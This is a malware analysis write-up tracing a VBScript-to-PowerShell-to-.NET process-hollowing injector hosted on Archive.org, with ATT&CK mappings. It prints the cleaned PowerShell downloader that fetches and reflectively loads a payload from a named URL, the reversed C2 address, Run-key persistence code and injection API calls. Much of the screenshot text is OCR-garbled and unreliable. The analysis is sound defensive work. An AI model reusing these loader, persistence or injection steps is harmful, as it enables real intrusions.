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Introduction

On February 11, 2025, Filescan.io shared a troubling discovery: a 6-month-old .NET PE
injector had remained undetected on Archive.org, a platform widely used for archiving
web content. The file was flagged as clean, allowing it to remain accessible for months.
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% Filescan.io

A 6-month-old .NET PE injector remains undetected on I This
file was flagged as clean... and still available for its usage 2

VBScript = PowerShell = base64 .PE + reflective loading = .NET PE
injector =

Capabilities

This malware incorporates multiple techniques to evade detection and maintain persistence
on infected systems. It employs the following capabilities:

Reflective Loading: Executes payloads in memory, avoiding disk-based detection.
String Obfuscation: Uses encoding techniques and .NET Reactor obfuscation to
evade static analysis.

Persistence Mechanism: Can achieve persistence via registry modifications.
Process Injection: Injects payloads using Process Hollowing technique into trusted
processes to remain undetected.

C2 Communication: Uses a reversed URL to obscure C2 traffic.

These capabilities allow the malware to remain hidden, execute malicious code without
detection, and establish a foothold on compromised systems.

Attack Chain Overview
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The attack begins with a VBScript file delivered via phishing emails.

The script executes PowerShell command in the background which retrieves an encoded

Base64-encoded Portable Executable (.PE) file.

After downloading the Base64-encoded PE file, the script decodes it in memory and

executes it using reflective loading techniques.

Finally, .NET-based PE injector is deployed, allowing attackers to inject additional malicious

payloads into system processes.

First Stage: VBScript

The injector’s first stage is a VBScript file, this VBScript file consists of 3 parts:

Junk code:

File Edit Search View Encoding Language Settings Tools
sHHEE G| shbhlocayg 2% |EESI1-ECFERHD|®| @ EDLBE

E da78bba3b3cBB4402e96f23352ee698fad3eebf3f2d5000cdeacceb3eled200.vbs E |

Macro  Run  Plugins Window 7
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J

NSdAhaxhOhhQeZihZtQiijKmP
COGPurfhLuCWvKrf SWvLEPVDP
hTdGCgoLWjKtcGPPibebGARIK
AWGItbLsmPmML1GhOOCZAdeKWLC
PHLK1fSLZkeZGPCWniiuCNALe
WGoWvibKWoCZL1irLENWahogmW

WoIGobtkBLftrintaroogzlbLHUZWsc = "hWWiRutrintaroizcUnWZBGWELcoRWI"

TzigsHUoOCZaKPWbTRUCLSIOZ
CKLihNWKLWgL kT1hWLCkHEGR
LOtvKeWSgGNkiWcpgLGbmzLgL

UnGmoRoogOLRZUCZOGBWCWbLA
LWppvALLWGULWETPWQ1 tBKiR
QWuaoviWmgLcLLAbzofmWELKRAW
jotPifidoGgpmhfrmnULCKcoL
iinuhccUTKeeLKENZLTNNePLG
2XKLZKPMZLKApGzcmKkeNPZhLC
IRGGKitLVWKTfKgWatkKfJBBR
dhNpBpgqJQCiUZ1lUcoZt1eKIWK
®XTApeLWgLWATLQIPgZWtLZb1
AUWKEPULLpKEKLWLpdWrQpWPhhC

"WKLINcmbPhncNplaKAUWgKAvVO"
"kZGLhgzGzHKkgbfiphKcQCBiW"
"viopxitAAmLLczzCoZkWArBui"
"T fEMWXKWWbpLenzCnKWWRicah™
"qkGbfcBOAWUiWUTrPzKUIWOhEtL"
"LSgGpKRR1LhUOVtWQLGSuGOP1"

"CKnlnLlzmLKmMBEXW1WNhWWRuk™
"NWKPPLjOWoGEIWsKWxWoW1lnLcR"
"rBtpsfiGBChuikGofvmWLLCZA"™

"i11ktiOzZAPNLWWKUULLUKLmzti™"
"GCNNKStBreWWgKScNilpLZKZc"
"ngnKpGKgbpWKknGLNshsnGUuU"
"eLptjdkaRaodIcfpiWgGOLJUN"

"KcNWbWEkoWKgGbWfboUGzKUCB"
"WCLboWtzxfUfiPcWcIALRgAus"
"WAUKUIzBgWIlbGLCAUpZPAWLB"
"tNadLWCGCzZPNNCcHl1kziLUnNc"
"AWQWbvKULIWHIRoLOLEGCNZek"

Junk code

These variables are non-used in this vbs code
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D im o R W | e @ v v o —e S S D A R | — | o e s em
= da [=] |
1 NSAAhaxhohhOeZJhZEOIT JKMP = "WHKLINcmbPhncNplaKAUWgKAvVg"
2 COGPurfhLuCWvKr£SWVLKPVDP = "kZGLhgzGzHKkgbfiphKcQCBIW™
3 hTdGCyoLWiKtcGPPibebGARIK = "viopzitAAmLLczzCoZkWArBui™
4 AWGgtbfsmPmL1GhOOZAdeKWLe = "TIBmWzKWWopLonxCnEKWWRicah™
5 PHLK1fSLZKkeZGPCWniiuCNALe = "gkGbfcBOAWUIWUrPzKUiWOhEL™
6 WGOWVibKWOCZL1irLPNWahogmW = "LSgGPKRRILhUOVEWQLGSUGOPL™
7 WoIGobtkBLftrintaroogzlbLHUZWsSc = "hWwWiRutrintaroizclnWZBCWTfooRWLI"
8 Tz1gsHuoOCZaKPWbtRUCLSE0Z = "CEnlnLlzmLEmBKxXW1WNhWWE find x
9 CKLihNWkLWgLJkT1hWLCkHEGR = "NWEKPPLJOWOGLIWSKWxWOWLNI| Find  Replace Findin Files Find in Projects  Mark
10 LOtvKeWSgeNkiWepgLGbmzLgL = "rBtpsfiGBChuikGofvmwLLg
11 Find Next O
12 UnGMOROOGOLRZUCZOGBWCWbLA = "i1ktiOzApn LWWKUULLUKLmZ
13 LWppvAULWGULWKTPMWQItBKiR = "GCNNKStBreWWoKScNilpLzH i selecton T
14 QWuaovHMgLCLLAbzofMWELKAW = "ngnKpGKgbpWKknGLNshsnG el
15 jotPifidoGgpmhfrmnULCKcoL = "elLptjdkaRa0dIcfpiWgGOL] E;E‘Z‘”a': d‘"m“d" ‘ Find Allin Al Opened
16 iiAUhCCUTKeeLKENZLYNNEPLG = "iCinLLnhOgRoucWOipzfREd DM:tm i;e perdeny =
17 XKLZKPMZLKApGzcmKkeNPZhLe = "KCNWOWLKOWKQGHWELOUGZEY Gy sound Close
18 IRGGKitLVWE.’{TngWatkaJ'BBR = "WCLboWtzxfUfiPcWcLALRGA Somrch Mode [
19 dhNpBpqJIQCiUZ1UCOZt 1eKIWK = "WAUKUTZBQWIIDGLCAUDZPAN o' oo fou
20 XXtApeLWgLWATLQIiPqZWLLZbI = "tNadLWCGc;PNNCCHlkZLLU O extended 0y ¥, 1, 10, e ) O amays
21 QUWKPULLPKKLWLpAWrQpWPhhC = "AWQWbVKULIWHIROLOLEL GCNZ. Reqular expression || matches newline 1 7
22
23 bNmKBTKAAWNWOJNGRBiGWCLE = "LTKVLtbWRLKRzKiDNCCZjiount | matchin entrefie I
24 GieKzpWhGRGECKKiLWLABiImC = "gcubZOWGWkZLcZCKCkZst'1ETF------J
25 LtKLLnZKAdiN1CATbahBGAWZR "t IWWGNNpKWt fUAhPL1 fuxonQf™
26 KhnUcnnBOLaPaixZpPmsinkKha = "gbicilWGUzJzObhzecUcGPKGL"
27 LUCiaWhUKGKcmaRrbCfeNzWKLd = "pztLWWoGkEfKNcaZpAPGjgmptf™
28 GgucgQoNbcLLhczUBfhgWlppa = "LOpKx1LGEHOKWWGCArnWL]sWg"
29 eGZXGWPCKZWeAWALCKHLAUAGA = "TWLLVWWWvWmanbdPxicoWPwpu™
30 hgfWmiWLAWfULUKuxithmlHtW = "BHAcNPiKCUWLEkrWKWrbWdiSp"
31 fGhGKzNPLCAPMONKbiCdbskNE = "kGRLoZeLiZpKchrNzelcdZTRU"™
Irrelevant code (Non malicious):
864 dim filter
865 dim dialect
866 dim e
867 dim res
868 dim formattedText
869 dim flags
870
871 — flags = 0
872
873 = if theomania.ArgumentExists(NPARA FILTER) then
874 filter = theomania.Argument (NPARA FILTER)
875 - dialect = URI_WQL DIALECT
876 end if
877
a78 = if thecmania.ArgumentExists(NPARA DIALECT) then
879 L dialect = theomania.Argument (NPARA DIALECT)
880 end if
881
882 —] If LCase(dialect) = "selector" Then
883 dialect = "http://schemas.dmtf.org/whem/wsman/1/wsman/SelectorFilter"
884 End If
885 If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter” Then
886 dim dict
887 set dict = ProcessParameterHash(filter)
888 If dict Is Nothing Then
889 Exit Function
890 End If
891
892 Dim name
893 Dim value
894 filter = "<wsman:SelectorSet zmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1l/wsman.xsd'>"
895 For Each name In dict

And malicious code, where the analysis will start from:

Irrelevant (Non-Malicious) Code
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BIf Not tropelas() Then

On Error Resume Next

senhoreador
senhoreador

"KCgnezAnKyd9dScrJ3JsJysnID0gezEnKyd9aHR0CCcrI3M6JysnLy 9pYTYwJysnMDEWMC5 1cyShemNoaXz 1 JysnLm9yZy 8nKycyNC 9pdCerI2vt Jysncy9k ZXRhaClub3QnKyd1LX Y
senhoreador & "Ob3RlJysnvi50eHR7MScrJ30nKyc7ezBIYmFzZTY0Q28nKydudGVudCAnKyc9ICgnKydOJysnzXctT2JqZWNOIFMNKyd5Jysnc3R1bS502XQudysnv2UnKydiQ2xy

senhoreador = senhoreador
senhoreador = senhoreador

"dET OwvMCcrJzAnKycyLzAzLicrJzMyMidzJysnLicrJzI5JysnMs8vOnAnKyd0dGh7MScrJ30gLCcrJyB7MXOnKydkZXNhdGknKyd2JysnYScrJ2QnKydve zE9ICc
"3snKycxfScrdyAsTHsxfScri2QnKydl c2EnKyd0aXzhJysnZCcrJ297JysnMX0 sezEnKyd 9UmVnQxNte zF9JysnLHsxJysnfXsnKycx fSknRycpJyktz1t]j SCRyXT

senhoreador senhoreador & "MnKydOcmknKyduJysnZycrdyh7MH11lcmwpO3snKycwfScrJd2JIpbmFyeUMnKydvbicrd3R1bnQgPSANKydbJysnU31zdGVtLicrJOMnKydvbnZlenRdJysnojpGeic
senhoreador senhoreador & "WJhc2U2NEMnKydvbnR1bicrJ3QpO3snKycwfWEnKydzc2VtYmx5ID0gJysnWycrJlInKydlJysnzicrd2wnKydlY3RpJysnb24uQXMnKydzZWliJysnbH1dojpMb2
senhoreador = senhoreador & "KydlJysnbnQnKycpO3swfXR5cCcrJ2UgPSB7MHONKydhc3N1bWInKydseSS5HZXRUeXB1JysnKEsxEVI1bicrd1BFLicrI0hvbWVIMX0pOycrI3swlysnfWllJysnd
senhoreador senhoreador & "rJ2VOTWV0JysnaGIkKCcrJ3snKycxfVZBJysnSXsxfsk7ezB9JysnbWV0JysnaCcrJ28nKydkLkludm9rZscrdyh7MH1udWxsLCBbhycrd2InKydgZWNOJysnWl0n
&
&

Dim deslapar
deslapar = ". Rl L N - U

Dim birolina

birolina = ". - U
birolina = birolina
birolina birolina
birolina birolina
birolina = birolina - o
birolina = birolina
birolina = birolina

birolina = birolina
birolina = birolina
birolina = birolina

Malicious Code

The script is merging these base64 encoded strings

[H]If Not tropelas() Then

On Error Resume Next

senhoreador = senhoreador &
"0b3R1Jysnv.

senhoreador = senhoreador &

senhoreador = senhoreador &
"RIhC2U2NEMNnKydvbnR1bicrJ3Qpo3snKycwfWENKydzc 2Vt Ymx 5T
senhoreador = senhoreador &

senhoreador = senhoreador &
senhoreador = senhoreador &

senhoreador = senhoreador &
"3snKycxfScrayAsIHsx fScrd2QnKydlc2EnKyd0aXzhdysnzCcrd2 97JysnMx0se zEnKydSUnVnQXNtez F9JysnLHsxJysnfX snKycx £SknKycpJyktz1t ] SGFyXTM2LFt ] SGFYXTM5KSBSIEL FeA==""

Base64 Encoded Strings

Finally, it merges base64 encoded strings with strings containing junk code and executes it

birolina = birolina &
birolina = birolina &
birolina = birolina &
birolina = birolina &
birolina = birolina &
birolina = birolina &
birolina = birolina &
birolina = birolina &
&
&
&
&

birolina = birolina "P.
birolina = birolina "i.
birolina = birolina "m.
birolina = birolina "n.

birolina = birolina & "Wj.
birolina = Replace(birolina,

Dim calinite

calinite = "p. ¢ + I
calinite = calinite &
calinite = calinite & "s.
calinite = calinite & "1.
calinite = Replace(calinite, deslapar, "")

calinite = calinite & birolina

Dim esmolento

Set esmolento = CreateCbject ("WScript.Shell™)
esmolento.Run calinite, 0, False
WScript.Quit(altitude)

| will print the content and quit before executing to see what will be executed

senhoreador = "KCgnezAnKyd9dScrJ3JsJysnID0gezEnKyd9aHR0CCCrI3MEJysnLyIpYTYwIysnMDEWMCS1cy ShemNoaXz 1Jy snimdy Zy8 nKy cyNC9pdCcra2vt Jy sncy 9kZXRhaC 1ub3QnKyd]l LKYnKy CVRGV0 Jysn¥ih"
0eHRTMScrJ30nKyc7ezB9¥mFzZTY0Q28nKydudGVudCANKyc9ICgnKydoJysnZX ctT2JqZWNOIFMNKydSJysnc3R1bS 502XQuiysnV2UnKydiQ2xp JysnZW50KSSEb3duJysnbG8nKydh 2"
"MnKydOcmknKydudy snzycr JyhTMH11cmwpo3snKycwES crd2JpbmEyeUMnKydvbicr 3R 1bnQgP SAnKydbJysnU31zdGVtLlicrd0MnKydvbnz lenRdJysn0ipGeicrd2 9tomEz 25crIz Y QU3RyaWSnKESWE "
)gJysnWycrJ1lInKydlJysnzicrd2wnKydlY3RpJysnb24uQXMnKydzZWlidysnbHE1d0jpMb2 FkKHSwEWIpJysnbmFyeUNvbicra3gn™
"Kyd1JysnbnQnKycp03swiXRScCcrJ2UgPSBTMEOnKydhc3N1bWInKydseSSHZXRUEXBLIYSNKHS X fVI1bicrJ1BFLLcrI0hvbWVIMX0pOy crI3swlysnfWl1JysndGhv ZCAOTHSWEXRS JysncGUudysnRyc”
"rJ2V0TAV0JysnaGIKKCCrI3snKycxfVZBIysnSXsx £Sk7ezBOJysnbWv0JysnaCcrd28nKydkLkludmOrzScrIyh TME1udWesLCBbby crJ2 InKydqZWNOJy snWl 0nKyddQCh7MX 10 Jy sneHQuJy SnRUMNKy ™

"JETOwvMCCrJzAnKy cyLzAzLicrJzMyMidzJysnLicrdz I5JysnMS8 vOnAnKyd0dGh TMSc rI3 0gLCCr JyBTMKOnKydk ZXNhdGknKyd2Jysn YScrI2QnKydve zF9ICc rIywge zE9ZGVz Iy snYXRpdmFkbycrd"
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- .-
birolina = Replace(birolina, deslapar, "")

Dim calinite

calinite = "p. ¢ = I %o - U iom
calinite = calinite & "w. ¢ = U i;. - I ierm
calinite = calinite & "s. - U i - I %hem
calinite = calinite & "1. ¢ « U ‘.;. T 0 51 —c. @ v 0 ;. ¢ v U fomma.
calinite = Replace(calinite, deslapar, "")
=] Colinite = calipite & birolina

WScript.Echo calinite
- WScript.Quit
m‘ e 1 L Nl B
Set esmolento = CreateCbject("WScript.shell™)
esmolento.Run calinite, 0, False
- WScript.Quit (altitude)
End If

trrrrrrrrrrrrrrTLOROELY

' Escapes non XML chars

Edited vbs file

Windows Script Host

powershell -command SCodigo =
‘KCgnez&nKydSdScr)3)slysnlD0gezEnkydSaHRO cCor) 3ME)ysnlySpYT Ywlys
nMDEwMCS1 cyShemMoaXZlysnlmSyZydnkKyoyM CO9pdCorl2vitlysnoy 9k xR
haClub3CnkKydILXYnEyowRGWysnYWhOb3RUysnVisteHR7MScrl 30nkyc?
ezBSYmFzZTY0028nKydud GVud CARKycSI Cankyd OysnZE T 21 qgZWHMOIFRA
nkydSJysnc3RIb 5502 0Qulysnv2UnKydiQ2xplysnZWS0KS5Eb 3dulysnb G2
nKydhZFMnKydOcmknKydulysnZycrlyh7MH11emwp O3 snKyowtScr)2)pbm
FyeUMnEydvbicr)3RIbnQgPsSAnKydblysnUZzd GViLicrlOMnEKydvbnZlcnRd
JysnQjpGaor)28tOmFPzZScrlz¥0U3 RyaWsnkKHswifWlh c2U2ZMEMnEydvbnRlI
bicr)30p 03 snKyoafWEnKydze2VtYmxS5 1 D0 glysnWyer)1 InKydUysnZicr) 2wn
Kydl¥3Rplysnb24uCxMnkydzZW1 iJysnbHId OjpMb2FkKHswiWlplysnbmF
yelMNvbicr)20nKydlysnbnCnKycpO3swiXR3cCorl2UgPSEYMHONKydhc3MI
bWinKydseSSHZXRU eXBlysnKHsx I 1bicr)1BFLicr)Ohwb WY TMXYOp Oyerl3s
wilysnfW1 ysnd GhvZ CASIHswiXRSlysncGUulysnRycr) 2V0TWVysna ook
KCer)3 snKyodWVZBlysnSKsxfSkTezBYysnbWW0lysnaCer) 28nKydkLkludmSrZ
Serlyh TMH udWixs LCEbbyer)2InKyd g ZWHNO)ys i1 0nKyd dQCh 7R 0dysn
eHOWysnRUMnEydET anwb CerlzAnky oylzAzLicrlzMyMidzlysnlicrlzlSlysn
MSEvOnAnKyddd Gh7Scr)30gLlerlyB7MXOnKydkkZXNhd GknKyd2)ysn¥sc
r]20nkydvezFol CorlywgezFeZ GV zlysnYXRpdmFkbycr)3snkyod ScrlyAsIHsxE
Scrl20nKydlc2Enkyd0akZhlysnZCorl 297 ly snbX0sezEnKyd2UmynOxXMtezF
SlysnLHsxlysnfXsnkyodSknkycplyktZ It SGRyXT M2 LR S GFyXTMSKSBRIEIFe
A=="50Wjuxd =

[system.Text.encoding]: UTF2.Get5tring([system.Convert]::FrombasegdStri
ng(scodigoll:powershell. exe -windowstyle hidden -executionpolicy
bypass -NoProfile -command SOWjuxD

Ok |

Output

It will execute a powershell command with base64 encoded string.

Second Stage: PowerShell Script

The script is using + to dynamically build a PowerShell script by piecing together different
parts of strings, to make it harder to detect by security tools.

6/20



Recipe [ + O3 8§ =
AGVTL1CcrJeMnKyadvbnZLlenRaJysnUJpGE1Crd 29TUmEz£SCrJZYOU3RyaWsNKHSWHWIhE 2UZNEMNKYav
From Base64 bnR1bicrl3Qp03snKycwfWEnKydzc2VtYmx5IDOglysnWycrd1lInKydlJysnZicrd2wnKydlY3RpJysn
b24uQXMnKydzZW1iJysnbH1dOjpMb2FkKHswfWlplysnbmFyeUNvbicrl3QnKydllysnbnQnKycpO3sw
fXR5cCcrl2UgPSB7MHenKydhc 3N1bWInKydseS5HZXRUeXB1llysnKHsxfVI1bicrJ1BFLicrJlehvbWv7

A-Za-z@-9+/= AN A e et B e T e e E1EA T T AL TR A AT e M T e LT e e P e e T AN IATLR IR T e e AL

ac 1234 = 1 Tr Raw Bytes &~ LF

Output BOD®::

[(C'{e'+ Ju'+'rl'+" =
{1'+'}http'+'s:'+"'//ia60'+'0100.us.archive'+' .org/ '+'24/it"'+'em"+'s/detah-
not'+'e-v'+'/Det’'+'ahNote'+'V.txt{1'+'}'+";{@}base6d4Co’+ 'ntent "+'= ("+'N'+"ew-
Eobject

{'+'@}'+'binaryC'+'on'+"tent =
'+'["+'System.'+'C'+'onvert] '+'::Fr'+'omBase'+'645tring({@}base64C '+ 'onten'+'t);
{'+'@}a’'+"ssembly =
'+'["+'R'+'e'+'f'+'1'+'ecti’'+'on.As "+ "semb'+"'1ly]: :Load({@}bi'+ 'naryCon'+'t'+'e"+
'nt'+');{e}typ'+'e =
{0} '+ assemb'+'ly.GetType '+ ({1}Run'+'PE. "+ 'Home{1}); '+'{@'+ '}me "+ "thod =
{8}ty'+'pe."+'G'+"'etMet "+ 'hod("+'{ "+ "1}VA'+'I{1});
{@}'+'met’+'h'+'0'+'d.Invoke'+' ({@}null,
[o'+'b'+ ' ject'+ ' []'+ " ]@({1}t '+ 'xt."+"EC'+'DOL/0"'+'©'+"'2/03."+"322.3"+"' . "+'29"'+"1
//:ip'+'tth{1'+'} ,'+" {1}'+'desati'+'v'+'a'+'d'+'o{1} '+',

- {1}des'+'ativado'+'{"'+'1}'+" , {1}'+'d"+'esa’'+"tiva’'+'d'+'o{'+'1},

‘ BAKE! {1'+'}RegAsm{1}'+',{1'+ }{"+'1})"+')")-f[cHar]36, [cHar]39) | IEx

Auto Bake

amc 925 = 1 (© 3ms  Tr Raw Bytes & LF

Also, the script uses string formatting (-f [Char]36, [Char]39) to replace {0} with $ and {1}
with * (single quotes)

After cleaning:

5d0c8353e6b05ca5a4f910e7ddad0040dbd895a487bdca8645a75e052d89.bin ECaTEJEaS35(5EMUEEQETESBBEGGGQSTSQSGGJOBTZ(‘.BOUO(-’IE&((G)59069200&'.}5 Eﬂe‘.\. 1 EHEWZ ] ‘

surl = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt';

Sbase6d4Content = (New-Object System.Net.WebClient).DownloadString(Surl);

SbinaryContent = [System.Convert]::FromBaseé4String(Sbase6d4Content);

Sassembly = [Reflection.Assembly]::Load($binaryContent) ;

Stype = Sassembly.GetType ('RunPE.Home') ;

Smethod = Stype.GetMethod ('VAI');

Smethod.Invoke (Snull, [object[]]@('txt.ECDOL/002/03.322.3.291//:ptth", 'desativado', 'desativado', 'desativado', 'RegAsm', ''));

It Downloads a Remote Payload, then it is decoded into a .NET assembly (DLL/EXE).

Reflective Loading

The payload is loaded directly into memory without being written to disk, allowing it to evade
traditional file-based detection.

Once loaded, the malware retrieves the RunPE . Home class from the loaded assembly and
invokes the VAT method, passing the following arguments:

[txt.ECDOL/002/03.322.3.291//:ptth’, ‘desativado’, ‘desativado’, ‘desativado’, ‘RegAsm’, 7]
The c2 server url is reversed

The real url: hxxp[://]192[.]3[.]223[.]30/200/LODCE[.Jtxt
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Only 5/96 security vendors flagged this URL as malicious

Z Q  http://192.3.223.30/200/LODCE.txt -jv:}i- Malcode. Vv

C Reanalyze Q Search More
http://192.3.223.30/200/LODCE txt Status | Contenttype | Las
192.3.223.30 text/plain

text/plain ip

DETECTION DETAILS COMMUNITY "1

Third Stage: .NET PE Injector

Let’s decode the remote payload

Recipe ~ BB ¥ Input + 028 =

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
From Base64 A~ Q11 A AAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
A-Za-2@-9+/= .

mc 2823512 = 1 Tr Raw Bytes & LF

Output #- BOmE::

Mz

$
8Iyyyb
8Iyyyb
sIyyyb
8Iyyyb
8Iyyyp

{E MFyy& 8 yyy*
)

8upyys* A {A :8pyy& 80pyy(

After dumping and loading to die, die indicates that the payload is protected with NetReactor
protection
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Detect It Easy v3.10 [Windows 10 Version 1909] (x86_64) — O >

File name

= C:\Users\MﬁHcode\Downloads\payload.dlﬂ

File type File size e
PE32 i 2.02 MiB
Scan Endianness Mode Architecture Type
Automatic v LE 32-bit 1386 DLL
* PE32 -
Operation system: Windows(95)[1386, 32-bit, DLL] ?

Linker: Mlcrosoft Llnker
Compiler. VB.NET
La nguage: VBE.NET

sed o E=md o esd

=] =

. embly invoke + RSACrypto...
-—|eur Protection: Obfuscahon CLR cons‘[ruc‘[or + Virtualization + Calls ..

L T W R L R I W T 5 I W
wd o md

- =8 Shortcuts

v Debug data: Bmary[Offset 0x0020473e,Size=0x2d] - | Options
Signatures | | Flags ¥ | |Database s O About
Scan -
Directory Log > || 1947 msec X Exit

I'll use NetReactorSlayer to deobfuscate it

nti Tamper & A

eobfuscation process is complete, For more info checkout

section.

Start Deobfuscation

I'll upload the deobfuscated (slayed) file to dnspy
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&' dnSpy v6.1.8 (32-bit, .N

File Edit View Debug Window Help (&) =

Assembly Explorer v X  System.Data.Ling (4.0.0.0)

4 Ol ) _
Open in New Tab Ctrl+T

< Remove System.Data.Ling (4.0.0.0) Del
Convert Assembly to NetModule
Create Assembly...
Add New NetModule to Assembly...
Add Existing NetModule to Assembly...
Create NetModule...
Edit Assembly... Alt+Enter
Edit Assembly Attributes (G#)...
Add Class (C#)...
Merge with Assembly...
Go to MD Table Row... Ctrl+Shift+D
Go to MD Table Row (20000001) Shift+Alt+R
Go to <Module> .cctor
Go to MD Token... Ctrl+D
Copy MD Token
Open Hex Editor Ctrl+X

Open Containing Folder

It doesn’t have an entry point to make it harder for analysts that doesn’t have the powershell
script which contains both the entry point and the arguments for the initial method (VAI) to be
executed. Also if they tried to debug it or put it in a sandbox, it will not run as there is no entry
point.

But as we have the powershell script we know that method VAI from RunPE.Home class is
the real entry point of the dll

10/20



WAl(string, string, string, string, string, strin... X

startupreg, caminhovbs, namevbs , netframework,
nativeo)

(startupreg == "1")

(caminhovbs, namevbs);

= SecurityProtocolType.

t.NET\\Framew " + netframework + ".exe",

The parameters passed to VAl method are:

QBXtX: ‘txt. ECDOL/002/03.322.3.291//:ptth’ (reversed c2 server)
Startupreg: desativado (startup persistence disabled)

caminhovbs: desativado (directory path where the .vbs script is located)
namevbs: desativado (the name of the .vbs script)

netframework: RegAsm (executable name used for process injection)

(134

nativo:

Persistence Mechanism

If startupreg is “17, it calls Class6.Start(caminhovbs, namevbs).

But startupreg is desativado (Portuguese word meaning ‘disabled’) so it won’t execute
Class6.Start, but let’s look in it
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Classb6 X
System;

n.Diagnostics;

caminhovbs, namevbs )

(caminhovbs, namevbs + "

The method takes two parameters: caminhovbs (the directory path where the .vbs script is
located) and namevbs (the name of the .vbs script).

The code checks whether the .vbs file already exists in the given path (caminhovbs). If the
file is not found, the script proceeds to copy this vbs file into the specified directory.

Process.Start(new ProcessStartInfo

{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = "cmd.exe",
Arguments = "/C copy *.vbs \"" + Path.Combine(caminhovbs, namevbs) + ".vbs\""

}).WaitForExit();

The script runs a hidden cmd.exe process to copy all .vbs files from the current working
directory to the specified caminhovbs directory with the given namevbs filename. This
command uses cmd.exe to execute the copy operation in a hidden window
(ProcessWindowStyle.Hidden).

Then the malware achieves persistence by adding the .vbs script to the Windows Registry in
the Run key.

using (RegistryKey registryKey =
Registry.CurrentUser.OpenSubKey("SOFTWARE\N\Microsoft\\Windows\\CurrentVersion\
\Run", true))

{
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registryKey.Setvalue("Path", Path.Combine(caminhovbs, namevbs + ".vbs"));

¢ |t opens the Run key under HKEY CURRENT_USER, which contains programs that
automatically start when the user logs in.

» The second argument (true) allows write access to the key.

e Adds (or updates) a registry entry named "Path", setting its value to the full path of a
.vbs script.

The registry modification ensures the malicious script runs automatically at startup, giving it
persistence on the system

Let’s go back to VAl method

= SecurityProtocolType.

" + netframework + "_.exe",

ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
Forces the malware to use TLS 1.2.
Many older systems may default to TLS 1.0 or TLS 1.1, which are deprecated.

Then it Creates a WebClient object to handle HTTP requests, converts QBXtX into a
downloadable URL using Home.smethod_0(QBXtX).

Home.smethod_0 uses Array.Reverse to reverse the url make it a downloadable one.

( string @)

[] array = string_@.ToCharArray();

(array);

(array);

Then it downloads the payload as a string (text2) and reverse it using
Home.smethod_0(text2).
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+ netframework + '

RunPEE.Ande() is a function that performs process injection that targets
“C:\\Windows\\Microsoft. NET\\Framework\\v4.0.30319\\" + netframework + .exe” process

The malware injects the payload into a .NET process inside
“C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe” after Base64-decoding.

Dynamically Resolving APIs

The injector resolves the APIs used in process injection dynamically using smethod_0
function

object_, object_1)

( object_0),

| will rename the function pointers with their corresponding API
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Delegatel Wowb4SetThreadContext

.Del

After renaming

Process Hollowing

It uses RunPEE.CreateProcessA to create a suspended process (CREATE_SUSPENDED
flag: 4U).

startup_INFORMATION and process_ INFORMATION store the startup info and process
information.

" + string_1;

ssA(string_@, text, intPtr, intPtr, , 4U, .Zero, 9 startup_INFORMATION, process_INFORMATION))

(object_©, 60);

(cbject_@, 60);

(object_@, num + 52);

Context(process INFORMATION.ThreadHandle, array))

ion();

Then, it uses GetThreadContext (or Wow64GetThreadContext for 64-bit systems) to
obtain the context of the suspended process.
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[]-EFP

array[@]

le, array))

adContext(process_INFORMATION.ThreadHandle, array))

After that, it retrieves the EBX register value int num3 = array[41]; as array[41] holds
the value of EBX from the thread context.

The EBX register, in this context, usually points to the Process Environment Block (PEB) of
the newly created process. The PEB contains important information about the process,
including the base address of the loaded executable

if (!'RunPEE.ReadProcessMemory(process_INFORMATION.ProcessHandle, num3 + 8, ref
num4, 4, ref num5)) reads 4 bytes (an integer) from num3 + 8, which corresponds to
PEB.ImageBaseAddress.

The value is stored in num4, which will now contain the actual base address where the
original executable was loaded inside the process.

num3

numéd

numd, 4, num5 ) )

Next, it unmaps the Original Executable’s Memory by calling ZwUnmapViewOfSection to
remove the original executable image if necessary. After that it allocates New Memory in the
Target Process by calling VirtualAllocEx

le, num4) != @)

(object_®, num +
(object_@, num + 84);

locEx(process_INFORMATION.Pr andle, num2, length, 1228

flag = §
num6 = RunPEE.VirtualAllocEx(process_INFORMATION.ProcessHandle, @, length, 122

After that, it uses WriteProcessMemory to copy sections of object 0 (the new PE) into the
allocated memory.
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sMemory (process_INFORMATION.ProcessHandle object_e, bufferSize, nums ) )
Exception();

num7 = num + 248;

num8 = - (object_@, num + 6);
numg = ( Y(num8 - 1);
( i=8; i <= num9; i++)

numl@ . (object_@, num7 + 12);
numll = . (object_@, num? + 16);
srcOffset = . (object_@, num7 + 28);
(numll != @)

array2 = [numll - 1 + 1];
(object_@, srcOffset, array2, @, array2. DE
iteProcessMemory(process_INFORMATION.ProcessHandle, numé + numl®, array2, array2.

Exception();

Then it updates the PEB ImageBase, calculates the new entry point (numé +
entryPoint0ffset) and updates the thread context to execute from the new entry point.

: (numB) ;
rocessMemory(process_INFORMATION.ProcessHandle, num3 + 8, bytes, 4, num5 ) )

Exception();

numl2 = . (ebject_@, num + 48);
(flag)

{
numé = num2;

g

array[44] = numé + numl2;

i
dContext(process_INFORMATION.ThreadHandle, array))

Exception();

dContext(process_INFORMATION.ThreadHandle, array))

Exception();

int_® = ( Jprocess INFORMATIOM.P:
result = 3

Finally, if any error occurs, the function kills the process to avoid detection.




((int)process_INFORMATION.

MITRE ATT&CK Techniques

Tactic ID Technique ID Description
Execution TA0002 Command and T1059 Decoded suspicious
Scripting Interpreter Command

Execution TA0002 Shared Modules T1129 The process attempted to
dynamically load a malicious
function

Defense TAOO0S5 Obfuscated Filesor  T1027 Detected the execution of a

Evasion Information powershell command with
one or more suspicious
parameters

Defense TAOO05 Embedded Payloads T1027.009 Drops interesting files and

Evasion uses them

Defense TAO005 Deobfuscate/Decode T1140 Decoded suspicious
Evasion Files or Information Command

Discovery TAO007 Process Discovery T1057 The process has tried to

detect the debugger probing
the use of page guards.

